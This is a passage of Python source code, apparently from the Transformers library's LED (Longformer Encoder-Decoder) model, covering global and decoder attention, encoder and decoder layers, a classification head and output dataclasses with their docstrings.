is_local_index_global_attn_nonzero,
):
batch_size = attn_probs.shape[0]
# cut local attn probs to global only
attn_probs_only_global = attn_probs.narrow(-1, 0, max_num_global_attn_indices)
# get value vectors for global only
value_vectors_only_global = value_vectors.new_zeros(
batch_size, max_num_global_attn_indices, self.num_heads, self.head_dim
)
value_vectors_only_global[is_local_index_global_attn_nonzero] = value_vectors[is_index_global_attn_nonzero]
# use `matmul` because `einsum` crashes sometimes with fp16
# attn = torch.einsum('blhs,bshd->blhd', (selected_attn_probs, selected_v))
# compute attn output only global
attn_output_only_global = torch.matmul(
attn_probs_only_global.transpose(1, 2).clone(), value_vectors_only_global.transpose(1, 2).clone()
).transpose(1, 2)
# reshape attn probs
attn_probs_without_global = attn_probs.narrow(
-1, max_num_global_attn_indices, attn_probs.size(-1) - max_num_global_attn_indices
).contiguous()
# compute attn output with global
attn_output_without_global = self._sliding_chunks_matmul_attn_probs_value(
attn_probs_without_global, value_vectors, self.one_sided_attn_window_size
)
return attn_output_only_global + attn_output_without_global
def _compute_global_attn_output_from_hidden(
self,
hidden_states,
max_num_global_attn_indices,
layer_head_mask,
is_local_index_global_attn_nonzero,
is_index_global_attn_nonzero,
is_local_index_no_global_attn_nonzero,
is_index_masked,
):
seq_len, batch_size = hidden_states.shape[:2]
# prepare global hidden states
global_attn_hidden_states = hidden_states.new_zeros(max_num_global_attn_indices, batch_size, self.embed_dim)
global_attn_hidden_states[is_local_index_global_attn_nonzero[::-1]] = hidden_states[
is_index_global_attn_nonzero[::-1]
]
# global key, query, value
global_query_vectors_only_global = self.query_global(global_attn_hidden_states)
global_key_vectors = self.key_global(hidden_states)
global_value_vectors = self.value_global(hidden_states)
# normalize
global_query_vectors_only_global /= math.sqrt(self.head_dim)
# reshape
global_query_vectors_only_global = (
global_query_vectors_only_global.contiguous()
.view(max_num_global_attn_indices, batch_size * self.num_heads, self.head_dim)
.transpose(0, 1)
) # (batch_size * self.num_heads, max_num_global_attn_indices, head_dim)
global_key_vectors = (
global_key_vectors.contiguous().view(-1, batch_size * self.num_heads, self.head_dim).transpose(0, 1)
) # batch_size * self.num_heads, seq_len, head_dim)
global_value_vectors = (
global_value_vectors.contiguous().view(-1, batch_size * self.num_heads, self.head_dim).transpose(0, 1)
) # batch_size * self.num_heads, seq_len, head_dim)
# compute attn scores
global_attn_scores = torch.bmm(global_query_vectors_only_global, global_key_vectors.transpose(1, 2))
assert list(global_attn_scores.size()) == [
batch_size * self.num_heads,
max_num_global_attn_indices,
seq_len,
], (
"global_attn_scores have the wrong size. Size should be"
f" {(batch_size * self.num_heads, max_num_global_attn_indices, seq_len)}, but is"
f" {global_attn_scores.size()}."
)
global_attn_scores = global_attn_scores.view(batch_size, self.num_heads, max_num_global_attn_indices, seq_len)
# need to transpose since ONNX export only supports consecutive indexing: https://pytorch.org/docs/stable/onnx.html#writes-sets
global_attn_scores = global_attn_scores.transpose(1, 2)
global_attn_scores[
is_local_index_no_global_attn_nonzero[0], is_local_index_no_global_attn_nonzero[1], :, :
] = torch.finfo(global_attn_scores.dtype).min
global_attn_scores = global_attn_scores.transpose(1, 2)
global_attn_scores = global_attn_scores.masked_fill(
is_index_masked[:, None, None, :],
torch.finfo(global_attn_scores.dtype).min,
)
global_attn_scores = global_attn_scores.view(batch_size * self.num_heads, max_num_global_attn_indices, seq_len)
# compute global attn probs
global_attn_probs_float = nn.functional.softmax(
global_attn_scores, dim=-1, dtype=torch.float32
) # use fp32 for numerical stability
# apply layer head masking
if layer_head_mask is not None:
assert layer_head_mask.size() == (
self.num_heads,
), f"Head mask for a single layer should be of size {(self.num_heads,)}, but is {layer_head_mask.size()}"
global_attn_probs_float = layer_head_mask.view(1, -1, 1, 1) * global_attn_probs_float.view(
batch_size, self.num_heads, max_num_global_attn_indices, seq_len
)
global_attn_probs_float = global_attn_probs_float.view(
batch_size * self.num_heads, max_num_global_attn_indices, seq_len
)
global_attn_probs = nn.functional.dropout(
global_attn_probs_float.type_as(global_attn_scores), p=self.dropout, training=self.training
)
# global attn output
global_attn_output = torch.bmm(global_attn_probs, global_value_vectors)
assert list(global_attn_output.size()) == [
batch_size * self.num_heads,
max_num_global_attn_indices,
self.head_dim,
], (
"global_attn_output tensor has the wrong size. Size should be"
f" {(batch_size * self.num_heads, max_num_global_attn_indices, self.head_dim)}, but is"
f" {global_attn_output.size()}."
)
global_attn_probs = global_attn_probs.view(batch_size, self.num_heads, max_num_global_attn_indices, seq_len)
global_attn_output = global_attn_output.view(
batch_size, self.num_heads, max_num_global_attn_indices, self.head_dim
)
return global_attn_output, global_attn_probs
class LEDEncoderAttention(nn.Module):
def __init__(self, config, layer_id):
super().__init__()
self.longformer_self_attn = LEDEncoderSelfAttention(config, layer_id=layer_id)
self.output = nn.Linear(config.d_model, config.d_model)
def forward(
self,
hidden_states: torch.Tensor,
attention_mask: Optional[torch.Tensor] = None,
layer_head_mask: Optional[torch.Tensor] = None,
is_index_masked: Optional[torch.Tensor] = None,
is_index_global_attn: Optional[torch.Tensor] = None,
is_global_attn: Optional[bool] = None,
output_attentions: bool = False,
) -> Tuple[torch.Tensor, Optional[torch.Tensor], Optional[Tuple[torch.Tensor]]]:
"""Input shape: Batch x Time x Channel"""
self_outputs = self.longformer_self_attn(
hidden_states=hidden_states,
attention_mask=attention_mask,
layer_head_mask=layer_head_mask,
is_index_masked=is_index_masked,
is_index_global_attn=is_index_global_attn,
is_global_attn=is_global_attn,
output_attentions=output_attentions,
)
attn_output = self.output(self_outputs[0])
outputs = (attn_output,) + self_outputs[1:]
return outputs
class LEDDecoderAttention(nn.Module):
"""Multi-headed attention from 'Attention Is All You Need' paper"""
def __init__(
self,
embed_dim: int,
num_heads: int,
dropout: float = 0.0,
is_decoder: bool = False,
bias: bool = True,
):
super().__init__()
self.embed_dim = embed_dim
self.num_heads = num_heads
self.dropout = dropout
self.head_dim = embed_dim // num_heads
if self.head_dim * num_heads != self.embed_dim:
raise ValueError(
f"embed_dim must be divisible by num_heads (got `embed_dim`: {self.embed_dim} and `num_heads`:"
f" {num_heads})."
)
self.scaling = self.head_dim**-0.5
self.is_decoder = is_decoder
self.k_proj = nn.Linear(embed_dim, embed_dim, bias=bias)
self.v_proj = nn.Linear(embed_dim, embed_dim, bias=bias)
self.q_proj = nn.Linear(embed_dim, embed_dim, bias=bias)
self.out_proj = nn.Linear(embed_dim, embed_dim, bias=bias)
def _shape(self, tensor: torch.Tensor, seq_len: int, bsz: int):
return tensor.view(bsz, seq_len, self.num_heads, self.head_dim).transpose(1, 2).contiguous()
def forward(
self,
hidden_states: torch.Tensor,
key_value_states: Optional[torch.Tensor] = None,
past_key_value: Optional[Tuple[torch.Tensor]] = None,
attention_mask: Optional[torch.Tensor] = None,
layer_head_mask: Optional[torch.Tensor] = None,
output_attentions: bool = False,
) -> Tuple[torch.Tensor, Optional[torch.Tensor], Optional[Tuple[torch.Tensor]]]:
"""Input shape: Batch x Time x Channel"""
# if key_value_states are provided this layer is used as a cross-attention layer
# for the decoder
is_cross_attention = key_value_states is not None
bsz, tgt_len, embed_dim = hidden_states.size()
# get query proj
query_states = self.q_proj(hidden_states) * self.scaling
# get key, value proj
if is_cross_attention and past_key_value is not None:
# reuse k,v, cross_attentions
key_states = past_key_value[0]
value_states = past_key_value[1]
elif is_cross_attention:
# cross_attentions
key_states = self._shape(self.k_proj(key_value_states), -1, bsz)
value_states = self._shape(self.v_proj(key_value_states), -1, bsz)
elif past_key_value is not None:
# reuse k, v, self_attention
key_states = self._shape(self.k_proj(hidden_states), -1, bsz)
value_states = self._shape(self.v_proj(hidden_states), -1, bsz)
key_states = torch.cat([past_key_value[0], key_states], dim=2)
value_states = torch.cat([past_key_value[1], value_states], dim=2)
else:
# self_attention
key_states = self._shape(self.k_proj(hidden_states), -1, bsz)
value_states = self._shape(self.v_proj(hidden_states), -1, bsz)
if self.is_decoder:
# if cross_attention save Tuple(torch.Tensor, torch.Tensor) of all cross attention key/value_states.
# Further calls to cross_attention layer can then reuse all cross-attention
# key/value_states (first "if" case)
# if uni-directional self-attention (decoder) save Tuple(torch.Tensor, torch.Tensor) of
# all previous decoder key/value_states. Further calls to uni-directional self-attention
# can concat previous decoder key/value_states to current projected key/value_states (third "elif" case)
# if encoder bi-directional self-attention `past_key_value` is always `None`
past_key_value = (key_states, value_states)
proj_shape = (bsz * self.num_heads, -1, self.head_dim)
query_states = self._shape(query_states, tgt_len, bsz).view(*proj_shape)
key_states = key_states.view(*proj_shape)
value_states = value_states.view(*proj_shape)
src_len = key_states.size(1)
attn_weights = torch.bmm(query_states, key_states.transpose(1, 2))
if attn_weights.size() != (bsz * self.num_heads, tgt_len, src_len):
raise ValueError(
f"Attention weights should be of size {(bsz * self.num_heads, tgt_len, src_len)}, but is"
f" {attn_weights.size()}"
)
if attention_mask is not None:
if attention_mask.size() != (bsz, 1, tgt_len, src_len):
raise ValueError(
f"Attention mask should be of size {(bsz, 1, tgt_len, src_len)}, but is {attention_mask.size()}"
)
attn_weights = attn_weights.view(bsz, self.num_heads, tgt_len, src_len) + attention_mask
attn_weights = attn_weights.view(bsz * self.num_heads, tgt_len, src_len)
attn_weights = nn.functional.softmax(attn_weights, dim=-1)
if layer_head_mask is not None:
if layer_head_mask.size() != (self.num_heads,):
raise ValueError(
f"Head mask for a single layer should be of size {(self.num_heads,)}, but is"
f" {layer_head_mask.size()}"
)
attn_weights = layer_head_mask.view(1, -1, 1, 1) * attn_weights.view(bsz, self.num_heads, tgt_len, src_len)
attn_weights = attn_weights.view(bsz * self.num_heads, tgt_len, src_len)
if output_attentions:
# this operation is a bit awkward, but it's required to
# make sure that attn_weights keeps its gradient.
# In order to do so, attn_weights have to be reshaped
# twice and have to be reused in the following
attn_weights_reshaped = attn_weights.view(bsz, self.num_heads, tgt_len, src_len)
attn_weights = attn_weights_reshaped.view(bsz * self.num_heads, tgt_len, src_len)
else:
attn_weights_reshaped = None
attn_probs = nn.functional.dropout(attn_weights, p=self.dropout, training=self.training)
attn_output = torch.bmm(attn_probs, value_states)
if attn_output.size() != (bsz * self.num_heads, tgt_len, self.head_dim):
raise ValueError(
f"`attn_output` should be of size {(bsz, self.num_heads, tgt_len, self.head_dim)}, but is"
f" {attn_output.size()}"
)
attn_output = (
attn_output.view(bsz, self.num_heads, tgt_len, self.head_dim)
.transpose(1, 2)
.reshape(bsz, tgt_len, embed_dim)
)
attn_output = self.out_proj(attn_output)
return attn_output, attn_weights_reshaped, past_key_value
class LEDEncoderLayer(nn.Module):
def __init__(self, config: LEDConfig, layer_id: int):
super().__init__()
self.embed_dim = config.d_model
self.self_attn = LEDEncoderAttention(config, layer_id)
self.self_attn_layer_norm = nn.LayerNorm(self.embed_dim)
self.dropout = config.dropout
self.activation_fn = ACT2FN[config.activation_function]
self.activation_dropout = config.activation_dropout
self.fc1 = nn.Linear(self.embed_dim, config.encoder_ffn_dim)
self.fc2 = nn.Linear(config.encoder_ffn_dim, self.embed_dim)
self.final_layer_norm = nn.LayerNorm(self.embed_dim)
def forward(
self,
hidden_states: torch.Tensor,
attention_mask: torch.Tensor,
layer_head_mask: torch.Tensor,
is_index_masked=None,
is_index_global_attn=None,
is_global_attn=None,
output_attentions=False,
):
"""
Args:
hidden_states (`torch.FloatTensor`): input to the layer of shape *(seq_len, batch, embed_dim)*
attention_mask (`torch.FloatTensor`): attention mask of size
*(batch, 1, tgt_len, src_len)* where padding elements are indicated by very large negative values.
layer_head_mask (`torch.FloatTensor`): mask for attention heads in a given layer of size
*(encoder_attention_heads,)*.
"""
residual = hidden_states
attn_outputs = self.self_attn(
hidden_states=hidden_states,
attention_mask=attention_mask,
layer_head_mask=layer_head_mask,
is_index_masked=is_index_masked,
is_index_global_attn=is_index_global_attn,
is_global_attn=is_global_attn,
output_attentions=output_attentions,
)
hidden_states = attn_outputs[0]
hidden_states = nn.functional.dropout(hidden_states, p=self.dropout, training=self.training)
hidden_states = residual + hidden_states
hidden_states = self.self_attn_layer_norm(hidden_states)
residual = hidden_states
hidden_states = self.activation_fn(self.fc1(hidden_states))
hidden_states = nn.functional.dropout(hidden_states, p=self.activation_dropout, training=self.training)
hidden_states = self.fc2(hidden_states)
hidden_states = nn.functional.dropout(hidden_states, p=self.dropout, training=self.training)
hidden_states = residual + hidden_states
hidden_states = self.final_layer_norm(hidden_states)
if hidden_states.dtype == torch.float16 and (
torch.isinf(hidden_states).any() or torch.isnan(hidden_states).any()
):
clamp_value = torch.finfo(hidden_states.dtype).max - 1000
hidden_states = torch.clamp(hidden_states, min=-clamp_value, max=clamp_value)
return (hidden_states,) + attn_outputs[1:]
class LEDDecoderLayer(nn.Module):
def __init__(self, config: LEDConfig):
super().__init__()
self.embed_dim = config.d_model
self.self_attn = LEDDecoderAttention(
embed_dim=self.embed_dim,
num_heads=config.decoder_attention_heads,
dropout=config.attention_dropout,
is_decoder=True,
)
self.dropout = config.dropout
self.activation_fn = ACT2FN[config.activation_function]
self.activation_dropout = config.activation_dropout
self.self_attn_layer_norm = nn.LayerNorm(self.embed_dim)
self.encoder_attn = LEDDecoderAttention(
self.embed_dim,
config.decoder_attention_heads,
dropout=config.attention_dropout,
is_decoder=True,
)
self.encoder_attn_layer_norm = nn.LayerNorm(self.embed_dim)
self.fc1 = nn.Linear(self.embed_dim, config.decoder_ffn_dim)
self.fc2 = nn.Linear(config.decoder_ffn_dim, self.embed_dim)
self.final_layer_norm = nn.LayerNorm(self.embed_dim)
def forward(
self,
hidden_states: torch.Tensor,
attention_mask: Optional[torch.Tensor] = None,
encoder_hidden_states: Optional[torch.Tensor] = None,
encoder_attention_mask: Optional[torch.Tensor] = None,
layer_head_mask: Optional[torch.Tensor] = None,
cross_attn_layer_head_mask: Optional[torch.Tensor] = None,
past_key_value: Optional[Tuple[torch.Tensor]] = None,
output_attentions: Optional[bool] = False,
use_cache: Optional[bool] = True,
):
"""
Args:
hidden_states (`torch.FloatTensor`): input to the layer of shape *(seq_len, batch, embed_dim)*
attention_mask (`torch.FloatTensor`): attention mask of size
*(batch, 1, tgt_len, src_len)* where padding elements are indicated by very large negative values.
encoder_hidden_states (`torch.FloatTensor`):
cross attention input to the layer of shape *(seq_len, batch, embed_dim)*
encoder_attention_mask (`torch.FloatTensor`): encoder attention mask of size
*(batch, 1, tgt_len, src_len)* where padding elements are indicated by very large negative values.
layer_head_mask (`torch.FloatTensor`): mask for attention heads in a given layer of size
*(decoder_attention_heads,)*.
cross_attn_layer_head_mask (`torch.FloatTensor`): mask for encoder attention heads in a given layer of
size *(decoder_attention_heads,)*.
past_key_value (`Tuple(torch.FloatTensor)`): cached past key and value projection states
output_attentions (`bool`): Whether the base model outputs attentions.
This requires the attentions tensor to be reshaped in this function.
"""
residual = hidden_states
# Self-Attention
# decoder uni-directional self-attention cached key/values tuple is at positions 1,2
self_attn_past_key_value = past_key_value[:2] if past_key_value is not None else None
# add present self-attn cache to positions 1,2 of present_key_value tuple
hidden_states, self_attn_weights, present_key_value = self.self_attn(
hidden_states=hidden_states,
past_key_value=self_attn_past_key_value,
attention_mask=attention_mask,
layer_head_mask=layer_head_mask,
output_attentions=output_attentions,
)
hidden_states = nn.functional.dropout(hidden_states, p=self.dropout, training=self.training)
hidden_states = residual + hidden_states
hidden_states = self.self_attn_layer_norm(hidden_states)
# Cross-Attention Block
cross_attn_present_key_value = None
cross_attn_weights = None
if encoder_hidden_states is not None:
residual = hidden_states
# cross_attn cached key/values tuple is at positions 3,4 of present_key_value tuple
cross_attn_past_key_value = past_key_value[-2:] if past_key_value is not None else None
hidden_states, cross_attn_weights, cross_attn_present_key_value = self.encoder_attn(
hidden_states=hidden_states,
key_value_states=encoder_hidden_states,
attention_mask=encoder_attention_mask,
layer_head_mask=cross_attn_layer_head_mask,
past_key_value=cross_attn_past_key_value,
output_attentions=output_attentions,
)
hidden_states = nn.functional.dropout(hidden_states, p=self.dropout, training=self.training)
hidden_states = residual + hidden_states
hidden_states = self.encoder_attn_layer_norm(hidden_states)
# add cross-attn to positions 3,4 of present_key_value tuple
present_key_value = present_key_value + cross_attn_present_key_value
# Fully Connected
residual = hidden_states
hidden_states = self.activation_fn(self.fc1(hidden_states))
hidden_states = nn.functional.dropout(hidden_states, p=self.activation_dropout, training=self.training)
hidden_states = self.fc2(hidden_states)
hidden_states = nn.functional.dropout(hidden_states, p=self.dropout, training=self.training)
hidden_states = residual + hidden_states
hidden_states = self.final_layer_norm(hidden_states)
outputs = (hidden_states,)
if output_attentions:
outputs += (self_attn_weights, cross_attn_weights)
if use_cache:
outputs += (present_key_value,)
return outputs
class LEDClassificationHead(nn.Module):
"""Head for sentence-level classification tasks."""
def __init__(
self,
input_dim: int,
inner_dim: int,
num_classes: int,
pooler_dropout: float,
):
super().__init__()
self.dense = nn.Linear(input_dim, inner_dim)
self.dropout = nn.Dropout(p=pooler_dropout)
self.out_proj = nn.Linear(inner_dim, num_classes)
def forward(self, hidden_states: torch.Tensor):
hidden_states = self.dropout(hidden_states)
hidden_states = self.dense(hidden_states)
hidden_states = torch.tanh(hidden_states)
hidden_states = self.dropout(hidden_states)
hidden_states = self.out_proj(hidden_states)
return hidden_states
class LEDPreTrainedModel(PreTrainedModel):
config_class = LEDConfig
base_model_prefix = "led"
supports_gradient_checkpointing = True
def _init_weights(self, module):
std = self.config.init_std
if isinstance(module, nn.Linear):
module.weight.data.normal_(mean=0.0, std=std)
if module.bias is not None:
module.bias.data.zero_()
elif isinstance(module, nn.Embedding):
module.weight.data.normal_(mean=0.0, std=std)
if module.padding_idx is not None:
module.weight.data[module.padding_idx].zero_()
def _set_gradient_checkpointing(self, module, value=False):
if isinstance(module, (LEDDecoder, LEDEncoder)):
module.gradient_checkpointing = value
@property
def dummy_inputs(self):
pad_token = self.config.pad_token_id
input_ids = torch.tensor([[0, 6, 10, 4, 2], [0, 8, 12, 2, pad_token]], device=self.device)
dummy_inputs = {
"attention_mask": input_ids.ne(pad_token),
"input_ids": input_ids,
}
return dummy_inputs
@dataclass
# Copied from transformers.models.longformer.modeling_longformer.LongformerBaseModelOutput with Longformer->LEDEncoder
class LEDEncoderBaseModelOutput(ModelOutput):
"""
Base class for LEDEncoder's outputs, with potential hidden states, local and global attentions.
Args:
last_hidden_state (`torch.FloatTensor` of shape `(batch_size, sequence_length, hidden_size)`):
Sequence of hidden-states at the output of the last layer of the model.
hidden_states (`tuple(torch.FloatTensor)`, *optional*, returned when `output_hidden_states=True` is passed or when `config.output_hidden_states=True`):
Tuple of `torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer) of
shape `(batch_size, sequence_length, hidden_size)`.
Hidden-states of the model at the output of each layer plus the initial embedding outputs.
attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length, x +
attention_window + 1)`, where `x` is the number of tokens with global attention mask.
Local attentions weights after the attention softmax, used to compute the weighted average in the
self-attention heads. Those are the attention weights from every token in the sequence to every token with
global attention (first `x` values) and to every token in the attention window (remaining `attention_window
+ 1` values). Note that the first `x` values refer to tokens with fixed positions in the text, but the
remaining `attention_window + 1` values refer to tokens with relative positions: the attention weight of a
token to itself is located at index `x + attention_window / 2` and the `attention_window / 2` preceding
(succeeding) values are the attention weights to the `attention_window / 2` preceding (succeeding) tokens.
If the attention window contains a token with global attention, the attention weight at the corresponding
index is set to 0; the value should be accessed from the first `x` attention weights. If a token has global
attention, the attention weights to all other tokens in `attentions` is set to 0, the values should be
accessed from `global_attentions`.
global_attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length, x)`,
where `x` is the number of tokens with global attention mask.
Global attentions weights after the attention softmax, used to compute the weighted average in the
self-attention heads. Those are the attention weights from every token with global attention to every token
in the sequence.
"""
last_hidden_state: torch.FloatTensor
hidden_states: Optional[Tuple[torch.FloatTensor]] = None
attentions: Optional[Tuple[torch.FloatTensor]] = None
global_attentions: Optional[Tuple[torch.FloatTensor]] = None
@dataclass
class LEDSeq2SeqModelOutput(ModelOutput):
"""
Base class for model encoder's outputs that also contains : pre-computed hidden states that can speed up sequential
decoding.
Args:
last_hidden_state (`torch.FloatTensor` of shape `(batch_size, sequence_length, hidden_size)`):
Sequence of hidden-states at the output of the last layer of the decoder of the model.
If `past_key_values` is used only the last hidden-state of the sequences of shape `(batch_size, 1,
hidden_size)` is output.
past_key_values (`List[torch.FloatTensor]`, *optional*, returned when `use_cache=True` is passed or when `config.use_cache=True`):
List of `torch.FloatTensor` of length `config.n_layers`, with each tensor of shape `(2, batch_size,
num_heads, sequence_length, embed_size_per_head)`).
Contains pre-computed hidden-states (key and values in the attention blocks) of the decoder that can be
used (see `past_key_values` input) to speed up sequential decoding.
decoder_hidden_states (`tuple(torch.FloatTensor)`, *optional*, returned when `output_hidden_states=True` is passed or when `config.output_hidden_states=True`):
Tuple of `torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer) of
shape `(batch_size, sequence_length, hidden_size)`.
Hidden-states of the decoder at the output of each layer plus the initial embedding outputs.
decoder_attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights of the decoder, after the attention softmax, used to compute the weighted average in the
self-attention heads.
cross_attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights of the decoder's cross-attention layer, after the attention softmax, used to compute the
weighted average in the cross-attention heads.
encoder_last_hidden_state (`torch.FloatTensor` of shape `(batch_size, sequence_length, hidden_size)`, *optional*):
Sequence of hidden-states at the output of the last layer of the encoder of the model.
encoder_hidden_states (`tuple(torch.FloatTensor)`, *optional*, returned when `output_hidden_states=True` is passed or when `config.output_hidden_states=True`):
Tuple of `torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer) of
shape `(batch_size, sequence_length, hidden_size)`.
Hidden-states of the encoder at the output of each layer plus the initial embedding outputs.
encoder_attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights of the encoder, after the attention softmax, used to compute the weighted average in the
self-attention heads.
encoder_global_attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length, x)`,
where `x` is the number of tokens with global attention mask.
Global attentions weights after the attention softmax, used to compute the weighted average in the
self-attention heads. Those are the attention weights from every token with global attention to every token
in the sequence.
"""
last_hidden_state: torch.FloatTensor = None
past_key_values: Optional[List[torch.FloatTensor]] = None
decoder_hidden_states: Optional[Tuple[torch.FloatTensor]] = None
decoder_attentions: Optional[Tuple[torch.FloatTensor]] = None
cross_attentions: Optional[Tuple[torch.FloatTensor]] = None
encoder_last_hidden_state: Optional[torch.FloatTensor] = None
encoder_hidden_states: Optional[Tuple[torch.FloatTensor]] = None
encoder_attentions: Optional[Tuple[torch.FloatTensor]] = None
encoder_global_attentions: Optional[Tuple[torch.FloatTensor]] = None
@dataclass
class LEDSeq2SeqLMOutput(ModelOutput):
"""
Base class for sequence-to-sequence language models outputs.
Args:
loss (`torch.FloatTensor` of shape `(1,)`, *optional*, returned when `labels` is provided):
Language modeling loss.
logits (`torch.FloatTensor` of shape `(batch_size, sequence_length, config.vocab_size)`):
Prediction scores of the language modeling head (scores for each vocabulary token before SoftMax).
past_key_values (`List[torch.FloatTensor]`, *optional*, returned when `use_cache=True` is passed or when `config.use_cache=True`):
List of `torch.FloatTensor` of length `config.n_layers`, with each tensor of shape `(2, batch_size,
num_heads, sequence_length, embed_size_per_head)`).
Contains pre-computed hidden-states (key and values in the attention blocks) of the decoder that can be
used (see `past_key_values` input) to speed up sequential decoding.
decoder_hidden_states (`tuple(torch.FloatTensor)`, *optional*, returned when `output_hidden_states=True` is passed or when `config.output_hidden_states=True`):
Tuple of `torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer) of
shape `(batch_size, sequence_length, hidden_size)`.
Hidden-states of the decoder at the output of each layer plus the initial embedding outputs.
decoder_attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights of the decoder, after the attention softmax, used to compute the weighted average in the
self-attention heads.
cross_attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights of the decoder's cross-attention layer, after the attention softmax, used to compute the
weighted average in the cross-attention heads.
encoder_last_hidden_state (`torch.FloatTensor` of shape `(batch_size, sequence_length, hidden_size)`, *optional*):
Sequence of hidden-states at the output of the last layer of the encoder of the model.
encoder_hidden_states (`tuple(torch.FloatTensor)`, *optional*, returned when `output_hidden_states=True` is passed or when `config.output_hidden_states=True`):
Tuple of `torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer) of
shape `(batch_size, sequence_length, hidden_size)`.
Hidden-states of the encoder at the output of each layer plus the initial embedding outputs.
encoder_attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights of the encoder, after the attention softmax, used to compute the weighted average in the
self-attention heads.
encoder_global_attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length, x)`,
where `x` is the number of tokens with global attention mask.
Global attentions weights after the attention softmax, used to compute the weighted average in the
self-attention heads. Those are the attention weights from every token with global attention to every token
in the sequence.
"""
loss: Optional[torch.FloatTensor] = None
logits: torch.FloatTensor = None
past_key_values: Optional[List[torch.FloatTensor]] = None
decoder_hidden_states: Optional[Tuple[torch.FloatTensor]] = None
decoder_attentions: Optional[Tuple[torch.FloatTensor]] = None
cross_attentions: Optional[Tuple[torch.FloatTensor]] = None
encoder_last_hidden_state: Optional[torch.FloatTensor] = None
encoder_hidden_states: Optional[Tuple[torch.FloatTensor]] = None
encoder_attentions: Optional[Tuple[torch.FloatTensor]] = None
encoder_global_attentions: Optional[Tuple[torch.FloatTensor]] = None
@dataclass
class LEDSeq2SeqSequenceClassifierOutput(ModelOutput):
"""
Base class for outputs of sequence-to-sequence sentence classification models.
Args:
loss (`torch.FloatTensor` of shape `(1,)`, *optional*, returned when `label` is provided):
Classification (or regression if config.num_labels==1) loss.
logits (`torch.FloatTensor` of shape `(batch_size, config.num_labels)`):
Classification (or regression if config.num_labels==1) scores (before SoftMax).
past_key_values (`List[torch.FloatTensor]`, *optional*, returned when `use_cache=True` is passed or when `config.use_cache=True`):
List of `torch.FloatTensor` of length `config.n_layers`, with each tensor of shape `(2, batch_size,
num_heads, sequence_length, embed_size_per_head)`).
Contains pre-computed hidden-states (key and values in the attention blocks) of the decoder that can be
used (see `past_key_values` input) to speed up sequential decoding.
decoder_hidden_states (`tuple(torch.FloatTensor)`, *optional*, returned when `output_hidden_states=True` is passed or when `config.output_hidden_states=True`):
Tuple of `torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer) of
shape `(batch_size, sequence_length, hidden_size)`.
Hidden-states of the decoder at the output of each layer plus the initial embedding outputs.
decoder_attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights of the decoder, after the attention softmax, used to compute the weighted average in the
self-attention heads.
cross_attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights of the decoder's cross-attention layer, after the attention softmax, used to compute the
weighted average in the cross-attention heads.
encoder_last_hidden_state (`torch.FloatTensor` of shape `(batch_size, sequence_length, hidden_size)`, *optional*):
Sequence of hidden-states at the output of the last layer of the encoder of the model.
encoder_hidden_states (`tuple(torch.FloatTensor)`, *optional*, returned when `output_hidden_states=True` is passed or when `config.output_hidden_states=True`):
Tuple of `torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer) of
shape `(batch_size, sequence_length, hidden_size)`.
Hidden-states of the encoder at the output of each layer plus the initial embedding outputs.
encoder_attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights of the encoder, after the attention softmax, used to compute the weighted average in the
self-attention heads.
encoder_global_attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length, x)`,
where `x` is the number of tokens with global attention mask.
Global attentions weights after the attention softmax, used to compute the weighted average in the
self-attention heads. Those are the attention weights from every token with global attention to every token
in the sequence.
"""
